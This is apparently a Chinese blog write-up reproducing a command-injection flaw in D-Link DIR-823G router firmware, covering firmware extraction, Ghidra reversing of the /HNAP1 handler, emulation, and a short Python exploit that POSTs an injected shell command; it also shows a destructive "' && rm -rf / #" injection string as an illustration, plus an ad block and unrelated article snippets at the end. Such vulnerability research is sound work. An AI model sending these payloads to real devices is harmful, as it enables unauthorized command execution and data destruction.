路由器安全研究:D-Link DIR-823G v1.02 B05 復現與利用思路

前言

D-Link DIR-823G v1.02 B05存在命令注入漏洞,攻擊者可以通過POST的方式往 /HNAP1發送精心構造的請求,執行任意的操作系統命令。

漏洞分析

Image

binwalk提取固件,成功獲取到固件。

Image

Image

現在我們已經進入到應用里了,那么我們在進行分析固件的時候,應該怎么去分析這個情況?首先,我們去分析別人的漏洞,別人是會告訴哪里會出現問題。但是我們現在假設我們是分析一個未知固件,我們就得先知道這個固件有哪些應用,啟動了哪些服務,最清晰和簡便的方式就是去看我們etc文件下面,里面有個叫init.d的目錄,里面是關于啟動項的內容。

Image

我們首先來看rcS下面的內容 vim rcS

首先是設置ip,然后掛載了兩個文件系統分別是proc,這是與進程相關的文件系統,包括當前進程啟動存放在哪個地址。

還有ramfs文件系統,根據以前的筆記,可知ramfs文件系統跟RAM相關。

幫助網安學習,全套資料S信免費領取:
① 網安學習成長路徑思維導圖
② 60+網安經典常用工具包
③ 100+SRC分析報告
④ 150+網安攻防實戰技術電子書
⑤ 最權威CISSP 認證考試指南+題庫
⑥ 超1800頁CTF實戰技巧手冊
⑦ 最新網安大廠面試題合集(含答案)
⑧ APP客戶端安全檢測指南(安卓+IOS)

然后下面就是判斷是否還有掛載別的文件系統。

然后mkdir就是創建各種各樣的文件夾,都有對應的功能,比如說創建了pptp文件夾,針對撥號上網的功能,然后還有smbd服務,可以看到創建了一個usb的文件夾,說明該固件有可以跟usb也就是U盤相關的操作,接下來都是一些配置信息。

Image

繼續往下翻

可以看到該固件啟動了web server的web服務,也就是httpd的內容,這里啟動的是goahead,通過這個名字,我們可以確定web服務就是goahead,如果想要分析web服務的話,就直接分析goahead就可以。

Image

我們回到squashfs-root目錄下,搜索goahead的一些簡單情況

grep -ir "goahead" .

Image

最下面是兩個啟動項的內容,可以忽略,然后第一行是bin的可執行應用,這個其實就是我們最后分析的內容。

那如何分析呢?它是一個HNAP1請求,那就可以去檢索我們的HANP1請求

grep -ir "HNAP1" .

Image

可以看到它檢索到一些js代碼,js代碼對我們來說一般,(比較我們是找二進制相關的漏洞)

但是,我們可以發現它匹配了一個二進制程序,也就是goahead。

這里我們先科普一下goahead的一些情況:

GoAhead ,它是一個源碼,免費、功能強大、可以在多個平臺運行的嵌入式WebServer。

goahead的websUrlHandlerDefine函數允許用戶自定義不同url的處理函數。

它在進行編寫與它相關的請求,是通過websUrlHandlerDefine來確定的。

websUrlHandlerDefine(T("/HNAP1"),NULL,0, websHNAPHandler,0);
websUrlHandlerDefine(T("/goform"),NULL,0, websFormHandler,0);
websUrlHandlerDefine(T("/cgi.bin"),NULL,0, websCgiHandler,0);

使用ghidra進行逆向分析,goahead二進制文件在squashfs-root目錄下的bin目錄下

Image

那進入到goahead反編譯界面該如何分析呢?一種是找到main函數去進行分析,比較耗時

一種是通過關鍵字來搜索,反推調用情況,來推測每個功能的解析情況 ctrl+shift+E

Image

匹配成功,停在指定區域

Image

但是它所對應的反編譯代碼還是很多的,所以我們可以通過反編譯出來的函數名,進行查看它的調用關系。

Image

一路往下翻,終于找到我們所要的東西

Image

而且我們看到,這個函數繼續往上調的話就是main函數了,所以其實一開始也是可以從main函數來分析的(0.0)

所以現在我們可以重點來分析這個函數

Image

前面還是做一些判斷,然后請求還有不止HNAP1,對應的都是一個函數。

同一個函數做的事情,類似于websUrlHandlerDefine這個函數,那HANP1對應的函數是

FUN_0042383c,那就雙擊進去看看

Image

這里就是漏洞點,這里執行了memset和snprintf,一般來說這里應該是不存在漏洞點,但是下面一條語句是system,也就是把格式化化的字符串直接就拿到了system函數作為參數傳遞進去,而snprintf這里的參數有個echo,有個單引號問題。

比如說正常代碼

#!/bin/bash
read -p "Enter your name: " name
echo 'Hello, '$name'!'

攻擊步驟

正常輸入:用戶輸入 Alice,輸出:

Hello, Alice!

惡意輸入:用戶輸入 '$(id)',此時腳本實際執行的命令變為:

echo 'Hello, ''$(id)'!'

輸出:

Hello, $(id)!

單引號內的 $(id) 不會被執行,暫時安全。

更危險的輸入:用戶輸入 ' && rm -rf / #,命令變為:

echo 'Hello, '' && rm -rf / #'!

此時,第一個單引號被用戶輸入的 ' 閉合。&& rm -rf / 成為獨立命令,在 echo 之后執行。# 注釋掉后續的 '!,避免語法錯誤。

那么會導致rm -rf / 會被執行,刪除系統文件!

所以,如果我們構造一些惡意的代碼寫入到snprintf中,再傳遞到system函數,就會造成命令注入漏洞。

但是我們要進到漏洞點的話,還需要滿足函數上面的一些要求。

所以我們得符合上面函數的一些限制才能進入到漏洞點來,這里先取了PTR_s_SetMultipleActions_00588d80的首地址,賦值給DAT_0058a6c4,然后DAT_0058a6c4自身判斷和自加2來進行循環判斷,用strstr函數查找DAT_0058a6c4在param_+0x524中出現的位置,并賦值給pcVar1,如果pcVar1的值不為0的話,就會進入到我們的漏洞點來。

Image

DAT_0058a6c4與PTR_s_SetMultipleActions_00588d80相關,雙擊進去看看

Image

可以看到里面都是它對應的一些方法,比如說SetMultipleActions之類的。

固件模擬

分析到這里,基本上是明朗了,接下來就要進行固件模擬操作,使用firmadyne模擬固件啟動。

Image

sudo ./DIR823G_V1.0.2B05_20181207.sh

然后firmadyne默認的密碼就是firmadyne

Image

得等一段時間,然后192.168.0.1

但是這個一直搞不定,模擬不起來,也不知道是什么原因,排查不出。

然后換成了firmware analysis plus (fap)這個框架,就模擬起來了

Image

等一段時間后,回車,就可以模擬起來了,輸入192.168.0.1

Image

進入向導,隨便輸入點東西

Image

Image

密碼8位,輸入12345678

Image

然后就開始配置一些內容,同時可以注意到左側已經把一些數據寫入到關鍵的文件夾中

Image

配置完畢,登錄,成功進入路由器

Image

exp編寫

#!/usr/bin/env python
#-*- coding:utf-8 -*-import requestsip='192.168.0.1'command="'`echo aaaaaaaaa > /web_mtn/test.txt`'"
length=len(command)headers=requests.utils.default_headers()
headers["Content-Length"]=str(length)
headers["User-Agent"]="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.76 Safari/537.36"
headers["SOAPAction"]='"http://purenetworks.com/HNAP1/GetClientInfo"'
headers["Content-Type"]="text/xml; charset=UTF-8"
headers["Accept"]="*/*"
headers["Accept-Encoding"]="gzip, deflate"
headers["Accept-Language"]="zh-CN,zh;q=0.9,en;q=0.8"payload=command
r=requests.post('http://'+ip+'/HNAP1/', headers=headers, data=payload)

因為是http請求,所以我們使用requests,然后設置ip,設置命令,構造報頭,最后post請求將HNAP1,headers和payload都傳過去。

Image

Image

復現完畢,ctrl+a 然后x結束固件模擬。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/pingmian/72712.shtml
繁體地址,請注明出處:http://hk.pswp.cn/pingmian/72712.shtml
英文地址,請注明出處:http://en.pswp.cn/pingmian/72712.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

c++ 類和對象 —— 下 【復習總結】

1. 深入構造函數 1.1 函數體賦值 前文我們提到,創建對象時,編譯器會調用構造函數給成員變量賦值。但這并不能稱為對對象中成員變量的初始化。因為初始化只能初始化一次,但構造函數體內可以多次賦值。構造函數體中語句只能稱為賦初值 那么&…

【量化科普】Volatility,波動率

【量化科普】Volatility,波動率 🚀量化軟件開通 🚀量化實戰教程 在金融市場中,波動率(Volatility)是衡量資產價格變動幅度的一個重要指標。它反映了資產價格的穩定性和風險水平。高波動率意味著資產價格…

PCIe(Peripheral Component Interconnect Express)詳解

一、PCIe的定義與核心特性 PCIe(外設組件互連高速總線)是一種 高速串行點對點通信協議,用于連接計算機內部的高性能外設。它取代了傳統的PCI、PCI-X和AGP總線,憑借其高帶寬、低延遲和可擴展性,成為現代計算機系統的核…

idea 編譯打包nacos2.0.3源碼,生成可執行jar 包常見問題

目錄 問題1 問題2 問題3 問題4 簡單記錄一下nacos2.0.3,編譯打包的步驟,首先下載源碼,免積分下載: nacos源碼: https://download.csdn.net/download/fyihdg/90461118 protoc 安裝包 https://download.csdn.net…

通過 TTL 識別操作系統的原理詳解

TTL 的工作原理 TTL(Time to Live,生存時間)是網絡中用于控制數據包生命周期的一個關鍵參數。它通過限制數據包在網絡中可以經過的最大路由跳數(或最大轉發時間),確保數據包不會在網絡中無休止地轉發。TTL…

總結Solidity 的數據類型

數據類型 在 Solidity 中,類型系統非常豐富,主要分為 值類型(Value Types)和 引用類型(Reference Types)。此外,還有一些特殊類型和全局變量。 一.值類型 布爾型(bool&#xff09…

Android audio(8)-native音頻服務的啟動與協作(audiopolicyservice和audioflinger)

音頻策略的構建 1、概述 2、AudiopolicyService 2.1 任務 2.2 啟動流程 2.2.1 加載audio_policy.conf(xml)配置文件 2.2.2 初始化各種音頻流對應的音量調節點 2.2.3 加載audio policy硬件抽象庫 2.2.4設置輸出設備 ps:audiopatch流程簡介 2.2.5打開輸出設…

DeepSeek:從入門到精通

DeepSeek是什么? DeepSeek是一家專注通用人工智能(AGI)的中國科技公司,主攻大模型研發與應 用。DeepSeek-R1是其開源的推理模型,擅長處理復雜任務且可免費商用。 Deepseek可以做什么? 直接面向用戶或者支持…

【一起來學kubernetes】17、Configmap使用詳解

前言概述核心特性創建 ConfigMap使用 ConfigMap1. **環境變量**2. **Volume 掛載**3. **命令行參數** 更新與熱重載Docker容器中Java服務使用Configmap**一、通過環境變量注入****步驟說明****示例配置** **二、通過 Volume 掛載配置文件****步驟說明****示例配置** **三、動態…

【八股文】從瀏覽器輸入一個url到服務器的流程

1.url解析與DNS解析 瀏覽器解析用戶輸入的URL,提取協議(HTTP\HTTPS)、域名、端口及路徑等信息 瀏覽器首先檢查本地DNS緩存和系統DNS緩存,若未命中,查詢本地hosts文件 最后遞歸查詢向本地DNS服務器發起請求&#xff…

網絡空間安全(34)安全防御體系

前言 安全防御體系是一個多層次、多維度的系統,旨在保護組織或個人的信息資產免受各種網絡攻擊和威脅。 一、技術層面 網絡邊界防御 防火墻:部署在網絡邊界,通過設定規則允許或阻止特定流量的進出,保護內部網絡不受外部攻擊。入侵…

Linux 入門:權限的認識和學習

目錄 一.shell命令以及運行原理 二.Linux權限的概念 1.Linux下兩種用戶 cannot open directory .: Permission denied 問題 2.Linux權限管理 1).是什么 2).為什么(權限角色目標權限屬性) 3).文件訪問者的分類(角色) 4).文…

【筆記】計算機網絡——數據鏈路層

概述 鏈路是從一個結點到相鄰結點的物理路線,數據鏈路則是在鏈路的基礎上增加了一些必要的硬件和軟件實現 數據鏈路層位于物理層和網絡層之間,它的核心任務是在直接相連的節點(如相鄰的交換機,路由器)之間提供可靠且…

ngx_url_t

定義在 src/core/ngx_inet.h typedef struct {ngx_str_t url;ngx_str_t host;ngx_str_t port_text;ngx_str_t uri;in_port_t port;in_port_t default_port;in_port_t …

搜廣推校招面經五十四

美團推薦算法 一、手撕Transformer的位置編碼 1.1. 位置編碼的作用 Transformer 模型沒有顯式的序列信息(如 RNN 的循環結構),因此需要通過位置編碼(Positional Encoding)為輸入序列中的每個位置添加位置信息。位置…

網絡爬蟲【爬蟲庫urllib】

我叫不三不四,很高興見到大家,歡迎一起學習交流和進步 今天來講一講爬蟲 urllib介紹 Urllib是Python自帶的標準庫,無須安裝,直接引用即可。 Urllib是一個收集幾個模塊來使用URL的軟件包,大致具備以下功能。 ● urlli…

LabVIEW棉花穴播器排種自動監測系統

一、項目背景與行業痛點 1. 農業需求驅動 我國棉花主產區,種植面積常年超250萬公頃,傳統人工播種存在兩大核心問題: 效率瓶頸:人均日播種面積不足0.5公頃,難以匹配規模化種植需求; 精度缺陷:人…

解決diffusers加載stablediffusion模型,輸入prompt總是報錯token數超出clip最大長度限制

1. StableDiffusion1.5 在加載huggingface中的擴散模型時,輸入prompt總是會被報錯超過clip的最大長度限制。 解決方案:使用compel庫 from diffusers import AutoPipelineForText2Image import torch import pdb from compel import Compeldevice torc…

jmeter配件元素

jmeter配件元素 CSV Data Set Config名詞解釋測試場景Recycle on EOF:False配置測試結果 Recycle on EOF:True配置測試結果 Sharing mode:All Threads配置測試結果 Sharing mode:Current thread group配置測試結果 Sharing mode:Current thread配置測試結果 HTTP Header Manage…

Navicat SqlServer 設置自增主鍵

Navicat是一款優秀的數據庫管理工具&#xff0c;可以連接很多類型的數據庫。使用它可以極大的提高工作效率。 Navicat 不能設置SqlServer自增字段&#xff0c;只能通過sql語句來實現 建表時設置 create table <表名> ( <字段1-主鍵> int identity (1,1) primar…